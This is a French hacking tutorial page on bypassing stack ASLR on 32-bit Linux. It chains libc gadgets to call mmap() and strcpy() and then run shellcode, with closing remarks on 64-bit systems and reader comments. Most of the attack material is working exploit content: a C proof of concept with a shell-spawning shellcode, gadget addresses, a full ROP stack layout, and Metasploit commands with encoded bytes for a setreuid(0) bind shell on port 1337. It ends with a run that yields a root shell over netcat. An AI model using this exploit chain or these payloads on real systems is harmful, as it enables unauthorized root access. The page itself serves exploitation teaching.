Exploitation avancée


<< Bruteforce ASLR Bypasser ASLR sans bruteforce >>


IV°) Passer outre la randomization de la pile

   Dans cette page, mon optique est avant tout de montrer qu'avec un ensemble d'instructions aussi riche que la libc, il est possible d'appliquer des sémantiques complexes, même sans se tuer à la tâche de recherche des opcodes qui vont bien.

Pile non-exécutable et utilisation de shellcode
   Au final, on peut se sentir légèrement bridé par l'approche précédente et on aurait bien envie d'injecter des shellcodes plus compliqués les uns que les autres, sans avoir à copier chaque argument. De plus, ne pas utiliser le BSS nous apporte une garantie supplémentaire de l'exactitude de notre exploit (puisque nous ne savons pas vraiment comment l'application "distante" a été compilée). Nous cherchons donc une autre manière d'exécuter un shellcode. On entrevoit pas mal de possibilités avec l'utilisation de mprotect() ou de _dl_make_stack_executable dans la librairie ld. Le premier a été corrigé dans PaX (mais pas forcément activé par défaut) et le second a l'inconvénient de demander en argument l'adresse de fin de la pile, ce que nous n'avons pas sans bruteforcer ou sans reverse-engineering précis de la position de la pile au moment de l'overflow (il suffirait alors de récupérer ESP et d'y ajouter l'offset jusqu'à la fin de la pile par instructions arithmétiques simples entre registres).
La technique sera finalement simple et très utilisée, notamment dans tout ce qui est exploits kernel : l'utilisation de mmap(). En effet, qu'est-ce qui nous empêche de réserver notre propre segment mémoire et d'y ajouter les permissions que nous désirons ? Il faudrait également copier le shellcode dans ce segment mémoire après réservation puis l'exécuter. Exécutons le programme suivant pour nous en convaincre :
    $ cat poc.c && gcc poc.c -o poc && ./poc
    #include <string.h>
    #include <sys/mman.h>

    unsigned char buf[] =
    "\xba\x70\x5e\x9a\x16\xd9\xe1\xd9\x74\x24\xf4\x29\xc9\x58\xb1"
    "\x0c\x31\x50\x12\x83\xc0\x04\x03\x20\x50\x78\xe3\xaa\x67\x24"
    "\x95\x78\x1e\xbc\x88\x1f\x57\xdb\xbb\xf0\x14\x4c\x3c\x66\xf4"
    "\xee\x55\x18\x83\x0c\xf7\x0c\x9b\xd2\xf8\xcc\xb3\xb0\x91\xa2"
    "\xe4\x47\x0a\x3a\xac\xf4\x43\xdb\x9f\x7b\x59";

    int main() {

      void (*run)();
      run = 1 + mmap(0xa0011001, 0x01010101, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_ANON|MAP_SHARED, -1, 0);
      strcpy(run,buf);

      run();

      return 0;
    }

    sh-3.2$ exit
    exit
    $
Le shellcode contenu dans buf[] (simple spawn d'un shell) est bien exécuté. Nous avons demandé un mmap() à l'adresse 0xa0011001 qui n'a rien de particulier sinon de ne pas contenir de byte nul. Vous l'aurez remarqué, l'adresse ne finit pas par 0x000 est n'est donc pas multiple de la longueur de page. Ce n'est pas grave car nous n'avons pas demandé MAP_FIXED, mmap() va donc choisir la page qui se rapproche le plus de l'adresse choisie, soit 0xa0011000. Ensuite, nous demandons une longueur quelconque qui ne contient pas de bytes nuls. Au niveau des permissions, nous voulons read+write+exec. MAP_ANON indique quant à lui que nous ne mappons pas un fichier mais que nous voulons seulement un espace mémoire anonyme et MAP_SHARED n'a pas vraiment n'importance dans notre cas. Il peut être remplacé par MAP_PRIVATE sans modification sémantique. L'argument suivant est le descripteur du fichier à mapper, obligatoirement égal à -1 lors de l'utilisation de MAP_ANON, ce qui nous arrange puisque 0xffffffff ne contient pas de bytes nuls. Par contre, le dernier argument est l'offset dans le fichier, obligatoirement multiple de la longueur de page. Il doit donc finir par au moins 12 bits nuls. Après l'allocation de ce segment, on copie le shellcode à 1 + l'adresse renvoyée par mmap (donc à 0xa0011001) puis on l'exécute.
Une telle technique marche sur tout système qui n'a pas PaX avec l'option PAGEXEC désactivée.

Réserver l'espace mémoire
   Nous voyons donc déjà arriver nos problèmes de mise à jour de ces arguments : il faut réussir à mettre l'argument des permissions, l'argument du type de mapping et l'argument offset aux bonnes valeurs, qui contiennent des bytes nuls. Ensuite, il faut réussir à insérer la bonne adresse dans le strcpy() final, celle du shellcode qui sera injecté dans la pile et donc impossible à localiser a priori.
Puisque nous devons d'une part retrouver l'adresse du shellcode et d'autre part remplir les arguments des différents appels de fonction, il nous est nécessaire en premier lieu de trouver une référence à l'esp, c'est-à-dire une instruction permettant de placer esp ou une valeur relative à esp dans un autre registre. Après quelque recherches à travers les multiples instructions permettant d'achever cet objectif, nous trouvons notre bonheur dans la libc :
    0x00063060: push %esp
    0x00063061: pop %ebx
    0x00063062: pop %esi
    0x00063063: pop %edi
    0x00063064: pop %ebp
    0x00063065: ret
Après exécution de ces instructions, nous avons donc ebx qui contient la valeur d'esp initiale puis les trois valeurs suivantes dans la pile qui sont poppées dans esi, edi et ebp. Il nous faut désormais trouver un registre capable de s'incrémenter d'une valeur supérieure à 4, car à chaque fois nous devons placer l'adresse de l'instruction, soit 4 octets, sur la pile, donc une incrémentation plus petite ne nous permettra pas de référencer du contenu plus lointain. De plus, il est nécessaire de pouvoir ensuite placer la valeur d'un autre registre à l'adresse pointée par le premier. Parmi plusieurs possibilités, nous trouvons les bouts de bytecode suivant :
    0x0003c4d8 <makecontext+72>: mov %ecx,(%edx)
    0x0003c4da <makecontext+74>: ret

    0x0003c82b: lea 0x20(%edx),%edx
    0x0003c82e: dec %ecx
    0x0003c82f: jne 0x3c7e0
    0x0003c831: sbb %eax,%eax
    0x0003c833: neg %eax
    0x0003c835: pop %esi
    0x0003c836: pop %edi
    0x0003c837: ret
Nous avons tout d'abord la possibilité d'écrire ecx à l'adresse pointée par edx, il faut donc être capable d'incrémenter edx de façon précise, ce que nous permet la deuxième suite d'instructions, un peu plus complexe : elle va tout d'abord incrémenter edx de 0x20 soit 32. Ensuite, ecx va être décrémenté. Si, après décrémentation, ecx n'est pas égal à 0, le programme va jumper à l'offset 0x3c7e0 dans la libc. Ce jump ne nous convient pas, il faudra donc s'arranger pour que ecx soit égal à 1 à l'exécution de ce bytecode. Ensuite, l'instruction sbb qui suit va soustraire eax à eax et décrémenter le résultat si le flag CF est activé, donc si cette opération a généré une retenue, ce qui ne sera pas le cas en décrémentant un registre à lui-même. eax sera donc égal à zéro. L'instruction neg va effectuer le complément à deux de eax. Comme eax est nul, le résultat sera zéro. Enfin, deux valeurs seront poppées de la pile dans esi et edi.
Ainsi, à l'entrée de cette suite d'instruction, on doit avoir ecx = 1. A la fin, on aura eax = ecx = 0 et la pile aura diminué de 8 sans compter le pop eip (instruction ret). De ce fait, utiliser cette instruction nécessite la pile suivante :
+++++++++++++++++esp_init
@edx += 32
+++++++++++++++++ esp_init+4
DUMMY
+++++++++++++++++ esp_init+8
DUMMY
+++++++++++++++++ esp_init+12
@next
+++++++++++++++++ esp_init+16
Cette incrémentation de edx, supposée de 32 unités sera moyennement effective. Si au début de l'instruction, edx = esp = esp_init, alors à l'exécution de next, edx = esp_init + 32 = esp_next + 16. L'incrémentation se fera donc en réalité de 16 en 16 par rapport au haut de la pile (on rappelle que le but est de référencer précisément du contenu plus profond dans la pile, notamment les arguments des fonctions à appeller).
En tout cas, si on s'est embêté avec cette séquence d'instructions, il faudra que cela serve à quelque chose, autrement dit que l'on puisse passer une référence à esp dans edx. Nous savons déjà le placer dans ebx, il faudrait donc trouver un lien entre ebx et edx. A priori, le registre eax est celui qui est le plus fréquemment utilisé pour toutes les opérations, il devrait donc être une cible de choix.
    0x00001fd7: xchg %eax,%ebp
    0x00001fd8: ret

    0x0003be51 <fmtmsg+401>: xchg %eax,%ebx
    0x0003be52 <fmtmsg+402>: ret

    0x0009dcba <getpid+42>: mov %eax,%ecx
    0x0009dcbc <getpid+44>: jne 0x9dc9e <getpid+14>
    0x0009dcbe <getpid+46>: mov %ecx,%gs:0x48
    0x0009dcc5 <getpid+53>: ret

    0x0015a08f: lea (%ecx),%eax
    0x0015a091: ret

    0x00110fd3 <xdr_pointer+115>: mov %eax,%edx
    0x00110fd5 <xdr_pointer+117>: mov %edx,%eax
    0x00110fd7 <xdr_pointer+119>: ret
Nous avons donc beaucoup d'instructions intéressantes. Le xchg permet d'échanger les valeurs de deux registres. Ainsi, il nous est possible de mettre la valeur d'eax dans ebp ou inversement. De même, il est possible d'échanger eax et ebx. Ce dernier permet d'ailleurs de recueillir la référence à esp dans eax.
Nous avons également dans les deux suites d'instructions suivantes la possibilité de mettre eax dans ecx (car le jump if not equal ne sera jamais pris, étant donné que les flags sont nettoyés à l'entrée d'une fonction) et ecx dans eax.
Ensuite, la suite d'instructions à xdr_pointer+115 permet de placer eax dans edx. Si au contraire on commence la séquence d'instructions deux bytes plus loin, c'est edx qui sera placé dans eax. Dans la section prédécente nous avions un xor eax, eax qui permettra de remettre eax à 0. Il est facile de trouver des inc eax; ret dans la libc, comme à 0x6c6c. En utilisant eax afin d'effectuer toutes les opérations arithmétiques et de passer les valeurs d'un registre à l'autre, nous avons donc tout ce qu'il nous faut pour pouvoir démarrer la séquence d'instructions qui permettra d'insérer n'importe quelle valeur de eax à une adresse plus haute de la pile :
    - ebx = esp
    - eax = ebx
    - edx = eax
    - eax = 0
    - répéter jusqu'à ce que edx pointe vers l'adresse cible
      -> inc eax
      -> ecx = eax
      -> edx += 16
    - eax = edx
    - eax = valeur
    - ecx = eax
    - *edx = ecx
Nous avons bien dans edx une valeur relative à l'esp et nous avons bien dans ecx la valeur 1, rendant l'incrémentation possible. Avec un ensemble d'instructions arithmétiques faciles à trouver, nous pouvons mettre eax aux bonnes valeurs requises par les arguments (0x7 pour l'argument 3 de mmap, 0x22 pour le quatrième et 0 pour le sixième). Nous allons donc d'abord faire pointer edx vers l'argument 6 de mmap. Ensuite, il suffira de mettre eax à 0, de placer eax dans ecx puis de mettre ecx dans le contenu pointé par edx. Ensuite, nous allons décrémenter edx de 8 (argument 4 de mmap) puis le mettre de la même façon à 0x22. Enfin, une décrémentation de 4 permettra de pointer vers l'argument 3 et de le mettre à 7. Il ne restera plus qu'à exécuter mmap. Ceci dit, mmap a 6 arguments et il paraît peu probable de trouver de suite 6 instructions pop suivies de près par un ret. Il va donc falloir utiliser une autre technique que précédemment. Comme nous avons une référence précise sur la pile, il devrait nous être possible d'utiliser un leave/ret. D'ailleurs, si, lorsque nous avons edx pointant vers l'argument 6 de mmap, nous mettons edx dans eax puis eax dans ebp, le tour sera joué. En effet, lors de l'exécution du leave/ret, ebp sera placé dans ebp (donc pointera vers l'argument 6 de mmap), puis l'argument 6 de mmap sera poppé et deviendra ebp et l'adresse suivant l'argument 6 constituera l'adresse de retour prise en compte par le ret.
Une petite illustration graphique de l'état de la pile devrait nous permettre de bien comprendre la mise en place de tous ces différents bouts de code :
+++++++++++++++++
@ebx = esp + 3 pop
+++++++++++++++++ 0 = base
DUMMY
+++++++++++++++++ 4
DUMMY
+++++++++++++++++ 8
DUMMY
+++++++++++++++++ 12
@xchg eax, ebx
+++++++++++++++++ 16
@edx=eax
+++++++++++++++++ 20
@xor eax, eax
+++++++++++++++++ 24
@inc eax
+++++++++++++++++ 28
@ecx = eax
+++++++++++++++++ 32
@edx += 32 + 2 pop (edx = base + 32)
+++++++++++++++++ 36
DUMMY
+++++++++++++++++ 40
DUMMY
+++++++++++++++++ 44
@inc eax
+++++++++++++++++ 48
[...]
+++++++++++++++++ 332
@edx += 32 + 2 pop (edx = base + 512)
+++++++++++++++++ 336
DUMMY
+++++++++++++++++ 340
DUMMY
+++++++++++++++++ X = 344
eax = edx
+++++++++++++++++ X+4
xchg eax, ebp // ebp = arg6
+++++++++++++++++ X+8
xor eax, eax
+++++++++++++++++ X+12
ecx = eax
+++++++++++++++++ X+16
*edx = ecx // arg6 = 0
+++++++++++++++++ X+20
eax = edx
+++++++++++++++++ X+24
dec eax
+++++++++++++++++ X+28
dec eax
+++++++++++++++++ X+32
dec eax
+++++++++++++++++ X+36
dec eax
+++++++++++++++++ X+40
dec eax
+++++++++++++++++ X+44
dec eax
+++++++++++++++++ X+48
dec eax
+++++++++++++++++ X+52
dec eax
+++++++++++++++++ X+56
edx = eax // *edx = arg4
+++++++++++++++++ X+60
xor eax, eax
+++++++++++++++++ X+64
al |= 36
+++++++++++++++++ X+68
dec eax
+++++++++++++++++ X+72
dec eax
+++++++++++++++++ X+76
ecx = eax // ecx = 34 = 0x22
+++++++++++++++++ X+80
*edx = ecx
+++++++++++++++++ X+84
eax = edx
+++++++++++++++++ X+88
dec eax
+++++++++++++++++ X+92
dec eax
+++++++++++++++++ X+96
dec eax
+++++++++++++++++ X+100
dec eax
+++++++++++++++++ X+104
edx = eax
+++++++++++++++++ X+108
xor eax, eax
+++++++++++++++++ X+112
add al, 83
+++++++++++++++++ X+116
and al, 4
+++++++++++++++++ X+120
inc eax
+++++++++++++++++ X+124
inc eax
+++++++++++++++++ X+128
inc eax
+++++++++++++++++ X+132
ecx = eax // ecx = 0x7
+++++++++++++++++ X+136
*edx = ecx
+++++++++++++++++ X+140
@mmap
+++++++++++++++++ X+144
@leave/ret
+++++++++++++++++ X+148
0xa0011001
+++++++++++++++++ X+152
0x01010101
+++++++++++++++++ X+156
Arg3 mmap
+++++++++++++++++ X+160
Arg4 mmap
+++++++++++++++++ X+164
0xffffffff
+++++++++++++++++ X+168
Arg6 mmap
+++++++++++++++++
@next
+++++++++++++++++
Bien sûr cet ensemble d'instructions est très loin d'être efficace, car il nécessite plus de 500 octets. Il est possible de fortement diminuer ceci avec des instructions plus complexes et une incrémentation plus rapide, la contrepartie étant notamment le temps nécessaire en recherche d'opcodes et de registres intermédiaires qui vont bien (il n'est notamment pas obligatoire de repasser tout le temps par eax).

Copier le shellcode
   Après avoir réussi à mettre sur pied une séquence d'instructions qui permet de réserver une page mémoire exécutable, il est nécessaire d'y copier un shellcode avant de l'exécuter. Si nous voulons utiliser un strcpy(), il va falloir en premier lieu être capables de référencer le shellcode que nous aurons introduit sur la pile, et d'autre part pusher ce pointeur en tant qu'argument 2 du strcpy(). Tout d'abord, on se dit que si l'on place le shellcode à la fin de notre buffer, après le strcpy(), il n'y aura pas de problèmes pour le référencer puisqu'il suffira de faire comme précédemment en incrémentant edx jusqu'à tomber sur le début du shellcode. Lorsque nous avons edx -> shellcode, il suffit de recopier edx dans eax puis d'utiliser la même technique que celle utilisée pour recopier le 0 comme argument de seteuid() dans l'article précédent, c'est-à-dire un *(esp + 12) = eax. Ainsi, la pile nécessaire à l'exécution de ce strcpy n'a rien de compliquée quand on a compris tout ce qui précède :
    - ebx = esp
    - eax = ebx
    - edx = eax
    - eax = 0
    - répéter jusqu'à ce que edx pointe vers le shellcode
      -> inc eax
      -> ecx = eax
      -> edx += 16
    - eax = edx
    - *(esp + 12) = eax [1]
    - @strcpy
    - 0xa0011001 (adresse de retour)
    - 0xa0011001 (arg1 strcpy)
    - DUMMY (arg2 strcpy, remplacé par [1])
    - shellcode placé ici
Il ne nous reste donc plus qu'à trouver notre shellcode. Puisque nous avons pas mal de bytes à éviter, notamment pour ne pas sauter de lignes ou avoir d'espaces et briser le scanf, nous allons utiliser un générateur de shellcode, celui de Metasploit. Le générateur de shellcode est divisé en deux. Tout d'abord la partie sémantique, l'outil msfpayload, capable de générer beaucoup de types de shellcodes pour différentes plateformes et différentes architectures. Par exemple, si nous voulons générer un shellcode qui commence par un setreuid(0) puis qui démarre un shell sur le port 1337 :
    :/pentest/exploits/framework3$ msfpayload linux/x86/shell_bind_tcp PrependSetreuid=true LPORT=1337 C
    /*
    * linux/x86/shell_bind_tcp - 87 bytes
    * http://www.metasploit.com
    * LPORT=1337, RHOST=, PrependSetresuid=false,
    * PrependSetreuid=true, PrependSetuid=false,
    * PrependChrootBreak=false, AppendExit=false,
    * InitialAutoRunScript=, AutoRunScript=
    */
    unsigned char buf[] =
    "\x31\xc9\x31\xdb\x6a\x46\x58\xcd\x80\x31\xdb\xf7\xe3\x53\x43"
    "\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02"
    "\x05\x39\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41"
    "\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a"
    "\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
    $
Ensuite, il est posé de modifier la forme du shellcode avec msfencode. Parmi les encodeurs possibles, on retrouve notamment le XOR encodeur que nous avons utilisé pour créer un shellcode polymorphique. Nous allons seulement spécifier l'ensemble de bytes que nous ne souhaitons pas voir avec l'option -b et laisser metasploit choisir le meilleur encodeur selon lui pour respecter les contraintes que nous imposons tout en ayant un bytecode le mieux encodé possible :
    :/pentest/exploits/framework3$ msfpayload linux/x86/shell_bind_tcp PrependSetreuid=true LPORT=1337 R | msfencode -p linux -a x86 -b '\x0b\x0a\x0d\x0c\xef\xff' -t c
    [*] x86/shikata_ga_nai succeeded with size 115 (iteration=1)

    unsigned char buf[] =
    "\x31\xc9\xb1\x17\xda\xc8\xd9\x74\x24\xf4\x5e\xb8\x2e\x4b\x4b"
    "\xb1\x31\x46\x13\x83\xc6\x04\x03\x68\x44\xa9\x44\x45\x93\x1c"
    "\x7c\xcf\x65\x07\x4f\x8f\x5b\x6c\xb8\x6c\xc8\xd1\x14\x18\xed"
    "\x5c\x7b\x6c\x97\x93\xfc\xd7\x06\x7e\x95\x18\xb4\x7b\x5c\x8c"
    "\xa9\xd2\xce\xd9\x2b\xbe\x88\x81\x66\xbf\xdc\x70\x7d\x73\xda"
    "\xc2\x1b\xbe\x63\x61\x54\x26\xa9\xe5\x07\xfe\x5b\xda\x7f\xcc"
    "\x1c\x6d\xf9\x36\x74\x42\xd6\xb5\xed\xf4\x07\x58\x87\x6a\xd1"
    "\x7f\x07\x21\x68\x9e\x18\xce\xa7\xe1\x53";
    $
Nous avons donc, en plus de notre bel exploit, un beau shellcode.. En mettant tout celà bout à bout, on obtient donc un beau programme d'exploitation. Nous le démarrons donc. Cette fois, il stoppe au bout de quelques centaines d'itérations. Nous essayons alors de nous connecter au port 1337 :
    $ gcc bruteforce-libc.c -o bruteforce-libc && ./bruteforce-libc [...] Execution 345
    Votre nom ? Votre nom,???????????, a été enregistré avec succès (871 bytes)
    Execution 346
    Votre nom ? Votre nom,???????????, a été enregistré avec succès (871 bytes)



    $ nc localhost 1337
    whoami
    root
    tail -n3 /var/log/messages
    Apr 12 08:27:17 Bases-Hacking kernel: vuln[17140]: segfault at 80483b0 ip b7eb8061 sp bf90e7c0 error 7 in
    libc-2.8.90.so[b7db4000+158000]
    Apr 12 08:27:17 Bases-Hacking kernel: vuln[17142]: segfault at b7eb8060 ip b7eb8060 sp bfb7edc0 error 4 in
    libc-2.8.90.so[b7f31000+158000]
    Apr 12 08:27:17 Bases-Hacking kernel: vuln[17144]: segfault at deadbeef ip deadbeef sp bfcc8264 error 5
    exit
    $
Nous avons donc réussi à effectuer cette exploitation dans la pile et sans connaître de façon précise la base de la pile ou une adresse spéciale de la pile. D'autres articles ont montré comment se passer de la base de la libc en sautant dans dl-resolve(). En effet, si la base de la libc est random, il faut bien que des bouts de code existent pour relocaliser dynamiquement les bonnes fonctions requises par le programme. Cette technique démontrée par Nergal permet donc de pouvoir exécuter du contenu seulement avec les offsets. Nous l'avons dit, il est également possible d'envisager des solutions autres que le mmap() + strcpy(), par exemple l'utilisation de mprotect() pour modifier les permissions sur la pile ou encore l'utilisation de _dl_make_stack_executable(). Ces exploitations seraient donc plus petite que celle démontrée dans cet article puisqu'il n'y aurait pas à recopier le bytecode. Enfin, il est clair que l'exploitation ci-dessus a de nombreux vecteurs d'amélioration, et en premier lieu les séquences d'instructions extraites de la libc, qui peuvent permettre d'achever le même but de manière bien plus compacte (mais plus complexe également).

Et en 64-bits ?
   En 64-bits, les problématiques sont légèrement différentes. En effet, si les fichiers /proc/*/maps sont toujours autant révélateurs, il n'est en revanche plus possible de bruteforcer les adresses de base, du moins pas de manière raisonnable. En effet, aux 12 bytes déjà randoms s'en ajoutent 4, rendant la force brute inexploitable. De plus, s'il devient nécessaire d'injecter des adresses de retour, il faut prévoir qu'elles auront quasiment toujours beaucoup de 0. Une exploitation sans bytes nuls devient donc très dure ou du moins très longue (par jeu de registres). Ceci dit et comme le pointe Sebasitan Krahmer dans son papier sur la technique "borrowed code chunks", les petits buffer-overflows de type strcpy()/scanf() ne sont plus tellement omniprésents aujourd'hui et les exploitations à distance se font essentiellement via des transferts binaires, d'où la non-importance des bytes nuls.
Ceci dit, une modification importante concerne notamment la façon de passer les arguments, puisqu'ils sont désormais passés en priorités par les registres. On se dit que le contrôle de la pile devient moins intéressant. En réalité, ceci élimine en partie la complexité de la construction des frames, même si le jeu d'instructions utilisables est plus réduit. En se plaçant dans un schéma où l'exploitation se fait à travers un flux binaires, les modes d'attaques utilisant l'adresse exacte, extraite du fichier maps ou bien ceux utilisant la résolution dynamique grâce à dl-resolve() paraissent toujours d'actualité en 64-bits.



<< Bruteforce ASLR Bypasser ASLR sans bruteforce >>




4 Commentaires

FrizN 26/10/10 07:59
Oui, cet article traite exclusivement de la randomization de l'espace mémoire sous Linux et de l'utilisation de la libc lnux pour le contourner, il ne s'applique donc pas à un environnement Windows. Je manque vraiment de temps en ce moment, mais mon prochain chantier est clairement de montrer une exploitation avancée sous Windows qui couvre ASLR/cookies/SEH.

mael 25/10/10 16:29
Heu je n'ai pas tout compris mais je vais perséverer, par contre j'aimerais savoir comment savoir ce qu'il y a dans son ordi et commment l'exploiter, fin sous Windows c'est un peu dure en fait même d'appliquer ces codes... en tout cas super ce que tu fais :)

FrizN 03/05/10 15:33
Merci bien :]

Anonyme 03/05/10 14:41
Franchement, bravo pour cet article ! C'est un peu difficile à suivre parfois (comme l'incrémentation d'edx), mais j'étais tout simplement heureux quand je l'ai fait marcher :)




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.